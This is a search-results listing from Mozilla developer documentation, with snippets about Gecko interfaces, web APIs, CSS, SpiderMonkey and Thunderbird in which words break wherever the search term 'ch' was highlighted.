...And 20 more matches
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
sites su
ch as the css zen garden showcased this ability.
... the css zen garden
challenged us to take identical markup and create a unique design using css.
...we can use the order property, whi
ch will
change how items auto-place.
...And 20 more matches
Notes on TLS - SSL 3.0 Intolerant Servers
cause there are some number of web servers in production today whi
ch incorrectly implement the ssl 3.0 specification.
... netscape 6.x/7.x and mozilla browsers (0.9.1 and later versions) correctly implement the tls specification, and the users cannot utilize sites whi
ch have this problem.
... te
chnical information the ssl 3.0 and tls (aka ssl 3.1) specs both contain a provision -- the same provision -- for detecting "version rollback attacks".
...And 19 more matches
Garbage collection
mu
ch of the gc work is performed on helper threads.
...this allows compartments to be used for security
checks: objects in the same compartment have the same access requirements, so no
checks are needed, but
checks may be done when traversing cross-compartment wrappers.
...
chunk a
chunk is the largest internal unit of memory allocation.
...And 19 more matches
WebReplayRoadmap
the low level, yet flexible ar
chitecture (described here) provides an extremely powerful platform for implementing debugging and analysis features.
... seeing messages in the console provides a simple and intuitive view into the order in whi
ch events have happened.
... the bug only needs to be reproduced in a recording tab once, and then console logs can be added whi
ch apply throughout the entire recording.
...And 19 more matches
nsDependentCSubstring
class declaration nstdependentsubstring_
chart a string class whi
ch wraps an external array of string
characters.
... names: nsdependentsubstring for wide
characters nsdependentcsubstring for narrow
characters method overview constructors rebind beginreading endreading beginwriting endwriting data length isempty isvoid isterminated
charat operator[] first last count
char find
char equals equalsascii equalsliteral(const
char equalsliteral(
char lowercaseequalsascii lowercaseequalsliteral(const
char lowercaseequalsliteral(
char assign assignascii assignliteral(const
char assignliteral(
char operator= adopt replace replaceascii append appendascii appendli...
...teral(const
char appendliteral(
char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid strip
char base classes nsacstring_internal data members no public members.
...And 19 more matches
IAccessibleHyperlink
1.0 66 introduced gecko 1.9 inherits from: iaccessibleaction last
changed in gecko 1.9 (firefox 3) this interface represents a hyperlink associated with a single substring of text or single non-text object.
... non-text objects can have either a single link or a collection of links su
ch as when the non-text object is an image map.
... linked objects and an
chors are implementation dependent.
...And 19 more matches
nsICookieService
inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) see nsicookiemanager and nsicookiemanager2 for methods to manipulate the cookie database directly.
... var cookiesvc = components.classes["@mozilla.org/cookieservice;1"] .getservice(components.interfaces.nsicookieservice); notifications this service broadcasts the following notifications when the cookie list is
changed, or a cookie is rejected: topic subject data cookie-
changed broadcast whenever the cookie list
changes in some way.
... there are four possible data strings for this notification; one notification will be broadcast for ea
ch change.
...And 19 more matches
nsINavHistoryContainerResultNode
toolkit/components/places/public/nsinavhistoryservice.idlscriptable a foundation for the interfaces that provide a description of a query result on the places service that describes a container (whi
ch is any kind of grouping, including bookmark folders).
... 1.0 66 introduced gecko 1.9 inherits from: nsinavhistoryresultnode last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsinavhistoryresultnode findnodebydetails(in autf8string auristring, in prtime atime, in long long aitemid, in boolean arecursive); nsinavhistoryresultnode get
child(in unsigned long aindex); unsigned long get
childindex(in nsinavhistoryresultnode anode); attributes attribute type description
childcount unsigned long the number of
child nodes; accessing this throws an ns_error_not_available exception of containeropen is false.
...
childrenreadonly boolean false if the node's list of
children can be modified (by adding or removing
children, or rearranging them), or true if the user interface should not allow the list of
children to be altered.
...And 19 more matches
nsINavHistoryObserver
1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 21.0 (firefox 21.0 / thunderbird 21.0 / seamonkey 2.18) warning: if you are in the middle of a bat
ch transaction, there may be a database transaction active.
...method overview void onbeforedeleteuri(in nsiuri auri, in acstring aguid); obsolete since gecko 21.0 void onbeginupdatebat
ch(); void onclearhistory(); void ondeleteuri(in nsiuri auri, in acstring aguid); void ondeletevisits(in nsiuri auri, in prtime avisittime, in acstring aguid); void onendupdatebat
ch(); void onpage
changed(in nsiuri auri, in unsigned long awhat, in astring avalue); void onpageexpired(in nsiuri auri, in prtime avisittime, in boolean awholeentry); obsolete since gecko 2.0 void ontitle
changed(in nsiuri auri, in astring apagetitle); void onvisit(in nsiuri auri, in long long avisitid, in prtime atime, in long ...
...long asessionid, in long long areferringid, in unsigned long atransitiontype, in acstring aguid, out unsigned long aadded); constants constant value description attribute_favicon 3 the page's favicon
changed.
...And 19 more matches
nsIRequest
inherits from: nsisupports last
changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) for example nsi
channel typically passes itself as the nsirequest argument to the nsistreamlistener on ea
ch onstartrequest, ondataavaliable, and onstoprequest invocation.
... constants various load flags whi
ch may be or'd together.
... the following flags control the flow of data into the ca
che.
...And 19 more matches
nsISelectionPrivate
inherits from: nsisupports last
changed in gecko 35 (firefox 35 / thunderbird 35 / seamonkey 2.32) warning: the content of this article may be out of date.
... method overview void addselectionlistener(in nsiselectionlistener newlistener); void endbat
chchanges(); void getca
chedframeoffset(in nsiframe aframe, in print32 inoffset, in nspointref apoint); native code only!
...obsolete since gecko 12.0 long gettableselectiontype(in nsidomrange range); void removeselectionlistener(in nsiselectionlistener listenertoremove); void scrollintoview(in short aregion, in boolean aissyn
chronous, in short avpercent, in short ahpercent); void setancestorlimiter(in nsicontent acontent); native code only!
...And 19 more matches
nsISyncJPAKE
1.0 66 introduced gecko 2.0 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void final(in acstring ab, in acstring agvb, in acstring arb, in acstring ahkdfinfo, out acstring aaes256key, out acstring ahmac256key); void round1(in acstring asignerid, out acstring agx1, out acstring agv1, out acstring ar1, out acstring agx2, out acstring agv2, out acstring ar2); void round2(in acstring apeerid, in acstring apin, in acstring agx3, in acstring agv3, in acstring ar3, in acstring agx4, in acstring agv4, in acstring ar4, out acstring aa, out acstring agva, out acstring ara); methods final() perform the...
... final step of the jpake ex
change.
...void final( in acstring ab, in acstring agvb, in acstring arb, in acstring ahkdfinfo, out acstring aaes256key, out acstring ahmac256key ); parameters ab s
chnorr signature value b, in hex representation.
...And 19 more matches
nsIZipWriter
modules/libjar/zipwriter/public/nsizipwriter.idlscriptable this interface provides an easy way for scripts to ar
chive data in the zip file format.
... operations on the ar
chive can be performed one by one, or queued for later execution.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) once all the operations you wish to perform are added to the queue, a call to processqueue() will perform the operations in the order they were added to the queue.
...And 19 more matches
Address Book examples
assuming you have the uri, then use the address book manager to get an nsiabdirectory representing the address book: let abmanager = components.classes["@mozilla.org/abmanager;1"] .getservice(components.interfaces.nsiabmanager); let oneaddressbook = abmanager.getdirectory(addressbookuri); how do i sear
ch for a particular contact property (name, email)?
... once you have an object that implements nsiabcollection (see above), you can sear
ch for cards with particular properties within that collection using getcardfromproperty.
... this function will return the first mat
ch that it finds in the collection or null.
...And 19 more matches
Mail composition back end
by ri
chard h.
...this will
change in the coming weeks and allow for developers to write javascript to take advantage of the back end services.
...the feedback me
chanism is provided by a nsimsgsendlistener whi
ch is implemented by the caller.
...And 19 more matches
Standard OS Libraries
i then sear
ched it on msdn and saw that it needed the user32.dll.
... components.utils.import("resource://gre/modules/ctypes.jsm"); var lib = ctypes.open("user32.dll"); /* note: if you go to getcursorpos page on msdn, it says first argument is of structure point, so lets create that structure, * the link here shows that that x and y are type long whi
ch is ctypes.long */ // https://msdn.microsoft.com/en-us/library/windows/desktop/dd162805%28v=vs.85%29.aspx var point = new ctypes.structtype("tagpoint", [ { "x": ctypes.long }, { "y": ctypes.long } ]); /* declare the signature of the function we are going to call */ var getcursorpos = lib.declare('getcursorpos', ctypes.winapi_abi, ctypes.bool, point.ptr ); /* use it like this */ ...
...var point = point(); var ret = getcursorpos(point.address()); components.utils.reporterror(ret); components.utils.reporterror(point); lib.close(); resources for winapi githubgists :: noitidart / sear
ch · winapi - winapi js-ctypes snippets that can be copied and pasted to scrat
chpad com see using com from js-ctypes.
...And 19 more matches
XForms Accessibility
assistive te
chnologies api for xforms is supported starting from firefox 3 (gecko 1.9).
... implementation of accessible objects for xforms elements is based on top of the existing object hierar
chy introduced in the mozilla accessibility module.
... xforms elements behavior is implemented in accordance with accessible toolkit
checklist.
...And 18 more matches
Setting up the Gecko SDK
« previousnext » this
chapter provides basic setup information for the gecko software development kit (sdk) used to build the weblock component in this tutorial.
... the following four sections tell the developer how to download and organize the gecko sdk and create a new project in whi
ch components like weblock can be created.
...the sdk is available for windows, linux, and mac operating systems, and versions for other operating systems are being developed, and can be retrieved from as a single ar
chive from the following platform-specific locations (need correction for last version (now 1.9.2.8).
...And 18 more matches
mozIAsyncFavicons
toolkit/components/places/moziasyncfavicons.idlscriptable interface for accessing the favicon service asyn
chronously.
... 1.0 66 introduced gecko 6.0 inherits from: nsisupports last
changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) nsifaviconservice handles this interface, so you do not need to directly create a new service.
...method overview void getfaviconurlforpage(in nsiuri apageuri, in nsifavicondatacallback acallback); void getfavicondataforpage(in nsiuri apageuri, in nsifavicondatacallback acallback); void setandfet
chfaviconforpage(in nsiuri apageuri, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifavicondatacallback acallback); void replacefavicondata(in nsiuri afaviconuri, [const,array,size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, [optional] in prtime aexpiration); void replacefavicondatafromdat...
...And 18 more matches
Autoconfiguration in Thunderbird
author: ben bucks
ch please do not
change this document without consulting the author thunderbird 3.1 and later (and 3.0 to some degree) includes mail account autoconfiguration functionality.
... me
chanisms thunderbird gets the server settings via different means, ea
ch of whi
ch is intended for different cases: ispdb the ispdb is a central database, currently hosted by the thunderbird project, but free to use for any client.
... configuration server at isp isps have the option to provide their configuration information themselves directly to users, by setting up a web server at autoconfig.<domain>, whi
ch simply returns a static xml file with the configuration, as described below.
...And 18 more matches
Mail event system
mozilla mail requires an event system to notify different subsystems that data has
changed.
...the folder pane needs to know that this
changed so that it can update the message count so the user can see it.
... interfaces the key interfaces here are: nsifolder.idl is an interface for storing a hierar
chy of objects with properties.
...And 18 more matches
Thunderbird Binaries
additionally, ad-hoc packages called try builds are made available on an as-needed basis to allow for testing of certain pat
ches, and are typically announced in related bug reports.
... preview releases are available from http://www.mozilla.org/thunderbird/
channel/ nightly builds nightly builds are cutting-edge builds.
...trunk builds contain the very latest bleeding-edge
changes and updates, as well as 64-bit builds for windows.
...And 18 more matches
Debugger.Memory - Firefox Developer Tools
debugger.memory the debugger api can help tools observe the debuggee’s memory use in various ways: it can mark ea
ch new object with the javascript call stack at whi
ch it was allocated.
... it can log all object allocations, yielding a stream of javascript call stacks at whi
ch allocations have occurred.
... allocation site tracking the javascript engine marks ea
ch new object with the call stack at whi
ch it was allocated, if: the object is allocated in the scope of a global object that is a debuggee of some debugger instancedbg; and dbg.memory.trackingallocationsites is set to true.
...And 18 more matches
Network request details - Firefox Developer Tools
network request details clicking on a row displays a new pane in the right-hand side of the network monitor, whi
ch provides more detailed information about the request.
... the tabs at the top of this pane enable you to swit
ch between the following pages: headers messages (only for websocket items) cookies params response ca
che timings security (only for secure pages) stack trace (only when the request has a stack trace, e.g.
... http response headers http request headers ea
ch section has a disclosure triangle to expand the section to show more information.
...And 18 more matches
Intensive JavaScript - Firefox Developer Tools
in this article we'll take an example site whose long-running javascript causes responsiveness problems, and apply two different approa
ches to fixing them.
... the first is to split long-running functions into pieces and use requestanimationframe to s
chedule ea
ch piece, and the second is to run the whole function in a separate thread using a web worker.
... leaving the radio button set to "use blocking call in main thread", make a recording: press the "start animations" button start recording a performance profile press "do pointless computations!" two or three times stop recording the profile exactly what you see will vary from one ma
chine to another, but it will be something like this: the top half of this is the waterfall overview.
...And 18 more matches
Using images - Web APIs
external images can be used in any format supported by the browser, su
ch as png, gif, or jpeg.
... creating an image from scrat
ch another option is to create new htmlimageelement objects in our script.
...so you need to be sure to use the load event so you don't try this before the image has loaded: var img = new image(); // create new img element img.addeventlistener('load', function() { // execute drawimage statements here }, false); img.src = 'myimage.png'; // set source path if you're only using one external image this can be a good approa
ch, but once you need to track more than one we need to resort to something more clever.
...And 18 more matches
HTMLFormElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlformelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
...And 18 more matches
Page Visibility API - Web APIs
with tabbed browsing, there is a reasonable
chance that any given webpage is in the background and thus not visible to the user.
... the page visibility api provides events you can wat
ch for to know when a document becomes visible or hidden, as well as features to look at the current visibility state of the page.
... when the user minimizes the window or swit
ches to another tab, the api sends a visibility
change event to let listeners know the state of the page has
changed.
...And 18 more matches
Perceivable - Accessibility
non-text content refers to multimedia su
ch as images, audio, and video.
... complex images or
charts should have an accessible alternative provided, either on the same page or via a link.
...see other text alternative me
chanisms for the argument against longdesc.
...And 18 more matches
@font-feature-values - CSS: Cascading Style Sheets
@
character-variant specifies a feature name that will work with the
character-variant() functional notation of font-variant-alternates.
... a
character-variant feature value definition allows either one or two values: ident1: 3 maps to cv03=1, and ident2: 2 4 maps to cv02=4, but ident2: 2 4 5 is invalid.
... formal syntax @font-feature-values <family-name># { <feature-value-block-list> }where <family-name> = <string> | <custom-ident>+<feature-value-block-list> = <feature-value-block>+where <feature-value-block> = <feature-type> '{' <feature-value-declaration-list> '}'where <feature-type> = @stylistic | @historical-forms | @styleset | @
character-variant | @swash | @ornaments | @annotation<feature-value-declaration-list> = <feature-value-declaration>where <feature-value-declaration> = <custom-ident>: <integer>+; examples using @styleset in a @font-feature-values rule /* at-rule for "nice-style" in font one */ @font-feature-values font one { @styleset { nice-style: 12; } } /* at-rule for "nice-style" in font two */ @font-feature-values font two { @styleset { nice-style: 4; ...
...And 18 more matches
Using CSS animations - CSS: Cascading Style Sheets
there are three key advantages to css animations over traditional script-driven animation te
chniques: they’re easy to use for simple animations; you can create them without even having to know javascript.
...the rendering engine can use frame-skipping and other te
chniques to keep the performance as smooth as possible.
...this does not configure the actual appearance of the animation, whi
ch is done using the @keyframes at-rule as described in defining the animation sequence using keyframes below.
...And 18 more matches
NSS Developer Tutorial
nss coding style formatting line length should not exceed 80
characters.
... a data buffer is usually represented as: unsigned
char *data; unsigned int len; the buffer pointer is unsigned
char *, as opposed to void *, so we can perform pointer arithmetic without casting.
... use
char * only if the data is interpreted as text
characters.
...And 17 more matches
PKCS11 Implement
installing modules and informing the user of
changes in the cryptographic modules settings.
...(this is more restrictive than pkcs 2.0 and may
change in future versions of nss.).
...if the ckf_removable_device flag is not set, nss uses that token information without
checking again.
...And 17 more matches
Necko walkthrough
nsdocshell as an example client of the nsihttp
channel api nsdocshell::loaduri(string) create nsiuri from string nsdocshell::loaduri(nsiuri) creates 2 nsiinputstream for read response from; passes them with uri to ...
... nsdocshell::internalload nsdocshell::douriload opens the nsi
channel for the uri (ns_new
channel) if "http:", it will be an nsihttp
channel nsdocshell::do
channelload nsuriloader::openuri passes an nsistreamlistener pointer, 'loader' to nsuriloader::open
channel - it creates an nsdocumentopeninfo object, whi
ch implements nsistreamlistener, i.e.
... has onstartrequest, onstoprequest, ondataavailable, the three functions in whi
ch channel responses are received asyn
chronously.
...And 17 more matches
SpiderMonkey 1.8.8
you can download full source code here: insert-actual-link-when-the-release-happens (md5
checksum: insert-actual-hash-here).
... please let us know about your experiences with this release by posting in the mozilla.dev.te
ch.js-engine newsgroup.
...spidermonkey 1.8.8 includes a just-in-time compiler (jit) that compiles javascript to ma
chine code, for a significant speed increase.
...And 17 more matches
SpiderMonkey 31
please let us know about your experiences with this release by posting in the mozilla.dev.te
ch.js-engine newsgroup.
... spidermonkey 31 includes a just-in-time compiler (jit) that compiles javascript to ma
chine code, for a significant speed increase.
... it is supported on x86, x86_64, and arm ar
chitectures.
...And 17 more matches
SpiderMonkey 38
please let us know about your experiences with this release by posting in the mozilla.dev.te
ch.js-engine newsgroup.
... spidermonkey 38 includes a just-in-time compiler (jit) that compiles javascript to ma
chine code, for a significant speed increase.
... it is supported on x86, x86_64, and arm ar
chitectures.
...And 17 more matches
History Service Design
objectives the primary objectives of the new history service implementation in places are: improve access to browsing history allow association of useful metadata with urls flexible query system for both end-users and add-ons developers clean ar
chitecture for ease of code reuse and maintainability the most known and visible feature of history are views.
...ea
ch visit is associated with a favicon, to allow for better recognizability and groupable by common timeframes or domains.
... a locationbar intelligent algorithm (aka: the awesomebar) allows sear
chs through bookmarks, history, keywords (and mu
ch more) deta
ching the user from the old long sear
ches through tree views.
...And 17 more matches
nsIBrowserHistory
inherits from: nsiglobalhistory2 last
changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/nav-history-service;1.
...markpageasfollowedlink(in nsiuri auri); obsolete since gecko 22.0 void markpageastyped(in nsiuri auri); obsolete since gecko 22.0 void registeropenpage(in nsiuri auri); obsolete since gecko 9.0 void removeallpages(); void removepage(in nsiuri auri); void removepages([array, size_is(alength)] in nsiuri auris, in unsigned long alength, in boolean adobat
chnotify); void removepagesbytimeframe(in long long abegintime, in long long aendtime); void removepagesfromhost(in autf8string ahost, in boolean aentiredomain); void removevisitsbytimeframe(in long long abegintime, in long long aendtime); void unregisteropenpage(in nsiuri auri); obsolete since gecko 9.0 note: the markpageasfollowedlink and markpageasty...
...you should use moziasyn
chistory.updateplaces() instead.
...And 17 more matches
nsIContentPrefService
use the asyn
chronous interface nsicontentprefservice2 instead.
... last
changed in gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports implemented by: @mozilla.org/content-pref/service;1.
...useful for accessing and manipulating preferences in ways that are caller-specific or for whi
ch there is not yet a generic method, although generic functionality useful to multiple callers should generally be added to this unfrozen interface.
...And 17 more matches
nsIFocusManager
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last
changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) implemented by: @mozilla.org/focus-manager;1 as a service: var focusmanager = components.classes["@mozilla.org/focus-manager;1"] .getservice(components.interfaces.nsifocusmanager); method overview void clearfocus(in nsidomwindow awindow); void contentremoved(in nsidocument adocument, in nsicontent aelement); native code only!
...setting the activewindow raises it, and focuses the current
child window's current element, if any.
... focusedwindow nsidomwindow the
child window within the activewindow that is focused.
...And 17 more matches
nsITreeView
inherits from: nsisupports last
changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implementing a nsitreeview in lieu of dom methods for tree creation can improve performance dramatically, and removes the need to make
changes to the tree manually when
changes to the database occur.
...long row, in nsitreecolumn col); boolean isselectable(in long row, in nsitreecolumn col); boolean isseparator(in long index); boolean issorted(); void performaction(in wstring action); void performactiononcell(in wstring action, in long row, in nsitreecolumn col); void performactiononrow(in wstring action, in long row); void selection
changed(); void setcelltext(in long row, in nsitreecolumn col, in astring value); void setcellvalue(in long row, in nsitreecolumn col, in astring value); void settree(in nsitreeboxobject tree); void toggleopenstate(in long index); attributes attribute type description rowcount long the total number of rows in the tree (includ...
...to get the behavior where drops are only allowed on items, su
ch as the mailnews folder pane, always return false when the orientation is not drop_on.
...And 17 more matches
Using the clipboard
this component implements the interface nsiclipboardhelper, whi
ch has a function copystring that can be used to copy a string.
...for other types of data, su
ch as urls or images, you will need to use a more complex method.
...the third is an object whi
ch is used to transfer the data from the first object to the clipboard.
...And 17 more matches
Document.evaluate() - Web APIs
it will be used to resolve prefixes within the xpath itself, so that they can be mat
ched with the document.
...use named constant properties, su
ch as xpathresult.any_type, of the xpathresult constructor, whi
ch correspond to integers from 0 to 9.
...null is the most common and will create a new xpathresult example var headings = document.evaluate("/html/body//h2", document, null, xpathresult.any_type, null); /* sear
ch the document for all h2 elements.
...And 17 more matches
HTMLImageElement.alt - Web APIs
perhaps the most important reason to use the alt tag is to support accessibility, as the alt text may be used by screen readers and other assistive te
chnologies to help differently-abled users make full use of your content.
... it will be read aloud or sent to the tou
ch device, for example, to support visually impaired users.
... think of it like this: when
choosing alt strings for your images, imagine what you would say when reading the page to someone over the phone without mentioning that there's an image on the page.
...And 17 more matches
HTMLImageElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlimageelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
...And 17 more matches
Publishing your website - Learn web development
instead, it explains the advantages and disadvantages of three approa
ches that are practical for beginners.
... getting hosting and a domain name to have more control over content and website appearance, most people
choose to buy web hosting and a domain name: web hosting is rented file space on a hosting company's web server.
... a domain name is the unique address where people find your website, su
ch as http://www.mozilla.org or http://www.bbc.co.uk.
...And 14 more matches
Properly configuring server MIME types - Learn web development
this is a major source of problems for users of gecko-based browsers, whi
ch respect the mime types as reported by web servers and web applications.
...examples of mime types are: text/html for normal web pages text/plain for plain text text/css for cascading style sheets text/javascript for scripts application/octet-stream meaning "download this file" application/x-java-applet for java applets application/pdf for pdf documents te
chnical background registered values for mime types are available in iana | mime media types.
... the http specification defines a superset of mime whi
ch is used to describe the media types used on the web.
...And 14 more matches
Embedding API for Accessibility
in part, being accessible means supporting a built-in accessibility apis for a platform, su
ch as microsoft active accessibility or atk for linux and unix desktops.
... there are many other pieces, su
ch as preferences to allow the user to
change foreground and background colors, and font sizes.
...for the most part, an automatic reframe is performed when one of these prefs is
changed.
...And 14 more matches
What to do and what not to do in Bugzilla
it also governs whi
ch bug entry form you are presented with first (either the guided or advanced forms).
... resolving bugs as duplicate in general newer bugs should be marked as duplicates of older bugs, except when the newer bug contains more information (bug description clearer, pat
ch already atta
ched, lots of people already cc'ed, etc.).
...the exceptions are bugs in other software whi
ch we have to work around and bugs that involve certain core gecko modules.
...And 14 more matches
Creating Custom Events That Can Pass Data
using this te
chnique you can add extra parameters and query them.
...note that starting with version 6, firefox supports dom level 3 customevent, whi
ch lets you dispat
ch custom events with arbitrary data from javascript.
...the trunk you needed to download (or
check out) the trunk source because you will have to modify it in order to implement your event.
...And 14 more matches
Dict.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/dict.jsm"); creating a dictionary you can create a new, empty dictionary by simply calling the dict() constructor: var newdict = new dict(); if you wish, you may also pass in an object literal of key/value pairs with whi
ch to initialize the dictionary: var someobj = {}; var newdict = new dict({key1: "foo", key2: someobj}); note that values may be any javascript object type.
... items iterator returns an iterator over all of the items in the dictionary; ea
ch item is returned as a pair (a two-element array) with the first element being the key and the second being the value.
... note: the order in whi
ch items are returned is arbitrary, and may
change without notice.
...And 14 more matches
PerfMeasurement.jsm
note: the perfmeasurement.jsm javascript code module can only be used from
chrome -- that is, from within the application itself or an add-on.
...note: at present, perfmeasurement.jsm is only functional on linux, but it is planned to add support for windows (bug 583322) and osx (bug 583323) as well, and we welcome pat
ches for other operating systems.
... ca
che_references uint64 the number of memory accesses that occurred.
...And 14 more matches
What every Mozilla translator should know
l10n stands for localization = l + another 10 letters + n mailing lists and other resources there are several mailing lists to keep the track of what's going on, whi
ch are available as newsgroups, as well, both on news.mozilla.org and google groups: the main l10n list also available as mozilla.dev.l10n, .l10n in short.
...the mozilla project discusses general planning and s
chedule questions here.
... to keep the track of what's going on, it's also a good idea to read the planet mozilla l10n when you have a problem use the above mailing lists the person in
charge of the mozilla l10n is axel he
cht (l10n at mozilla.com), pike on irc another interesting way of getting help is the irc
channel #l10n at irc.mozilla.org useful tools the l10n dashboard pontoon narro translate toolkit koala 0.1 mozillatranslator mercurial the hg is organized into several repositories, sometimes called bran
ches.
...And 14 more matches
How to embed the JavaScript engine
the code differs for ea
ch spidermonkey version, please
choose right version for your spidermonkey.
...*/ static jsclass global_class = { "global", jsclass_global_flags, js_propertystub, js_deletepropertystub, js_propertystub, js_strictpropertystub, js_enumeratestub, js_resolvestub, js_convertstub, }; int main(int argc, const
char *argv[]) { jsruntime *rt = js_newruntime(8l * 1024 * 1024, js_use_helper_threads); if (!rt) return 1; jscontext *cx = js_newcontext(rt, 8192); if (!cx) return 1; { // scope for our various stack objects (jsautorequest, rootedobject), so they all go // out of scope before we js_destroycontext.
...ce, you would want to exit this any // time you're spinning the event loop js::rootedobject global(cx, js_newglobalobject(cx, &global_class, nullptr)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const
char *script = "'hello'+'world, it is '+new date()"; const
char *filename = "noname"; int lineno = 1; bool ok = js_evaluatescript(cx, global, script, strlen(script), filename, lineno, rval.address()); if (!ok) return 1; } jsstring *str = rval.tostring(); printf("%s\n", js_encodestring(cx, str)); } js_destroycontext(cx); js_des...
...And 14 more matches
imgIContainer
66 introduced gecko 1.0 inherits from: nsisupports last
changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) implemented by: ?????????????????????????????????????.
...as a service: var imgicontainer = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.imgicontainer); method overview void addrestoredata([array, size_is(acount), const] in
char data, in unsigned long acount); native code only!
... obsolete since gecko 2.0 gfximagesurface copyframe(in pruint32 awhi
chframe, in pruint32 aflags); native code only!
...And 14 more matches
nsIAccessibleStates
1.0 66 introduced gecko 1.9 inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) prior to gecko 1.9, these constants were implemented in nsiaccessible.
